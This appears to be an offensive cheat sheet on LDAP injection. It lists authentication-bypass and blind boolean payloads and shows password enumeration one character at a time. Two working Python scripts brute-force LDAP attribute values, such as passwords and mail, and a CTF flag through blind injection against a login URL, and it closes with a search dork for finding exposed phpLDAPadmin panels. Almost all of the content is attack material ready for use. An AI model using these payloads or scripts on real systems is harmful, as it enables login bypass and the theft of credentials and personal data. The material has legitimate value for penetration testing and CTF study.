LDAP Injection

user=*
password=*
--> (&(user=*)(password=*))
# The asterisks are great in LDAPi

user=*)(&
password=*)(&
--> (&(user=*)(&)(password=*)(&))

user=*)(|(&
pass=pwd)
--> (&(user=*)(|(&)(pass=pwd))

user=*)(|(password=*
password=test)
--> (&(user=*)(|(password=*)(password=test))

user=*))%00
pass=any
--> (&(user=*))%00 --> Nothing more is executed

user=admin)(&)
password=pwd
--> (&(user=admin)(&))(password=pwd) #Can through an error

username = admin)(!(&(|
pass = any))
--> (&(uid= admin)(!(& (|) (webpassword=any)))) —> As (|) is FALSE then the user is admin and the password check is True.

username=*
password=*)(&
--> (&(user=*)(password=*)(&))

username=admin))(|(|
password=any
--> (&(uid=admin)) (| (|) (webpassword=any))

#This will result on True, so some information will be shown
Payload: *)(objectClass=*))(&objectClass=void
Final query: (&(objectClass= *)(objectClass=*))(&objectClass=void )(type=Pepi*))

#This will result on True, so no information will be returned or shown
Payload: void)(objectClass=void))(&objectClass=void
Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=Pepi*))

(&(sn=administrator)(password=*))    : OK
(&(sn=administrator)(password=A*))   : KO
(&(sn=administrator)(password=B*))   : KO
...
(&(sn=administrator)(password=M*))   : OK
(&(sn=administrator)(password=MA*))  : KO
(&(sn=administrator)(password=MB*))  : KO
...

#!/usr/bin/python3
import requests
import string
from time import sleep
import sys

proxy = { "http": "localhost:8080" }
url = "http://10.10.10.10/login.php"
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"

attributes = ["c", "cn", "co", "commonName", "dc", "facsimileTelephoneNumber", "givenName", "gn", "homePhone", "id", "jpegPhoto", "l", "mail", "mobile", "name", "o", "objectClass", "ou", "owner", "pager", "password", "sn", "st", "surname", "uid", "username", "userPassword",]

for attribute in attributes: #Extract all attributes
value = ""
finish = False
while not finish:
for char in alphabet: #In each possition test each possible printable char
query = f"*)({attribute}={value}{char}*"
data = {'login':query, 'password':'bla'}
r = requests.post(url, data=data, proxies=proxy)
sys.stdout.write(f"\r{attribute}: {value}{char}")
#sleep(0.5) #Avoid brute-force bans
if "Cannot login" in r.text:
value += str(char)
break

if char == alphabet[-1]: #If last of all the chars, then, no more chars in the value
finish = True
print()

#!/usr/bin/python3

import requests, string
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"

flag = ""
for i in range(50):
print("[i] Looking for number " + str(i))
for char in alphabet:
r = requests.get("http://ctf.web??action=dir&search=admin*)(password=" + flag + char)
if ("TRUE CONDITION" in r.text):
flag += char
print("[+] Flag: " + flag)
break

intitle:"phpLDAPadmin" inurl:cmd.php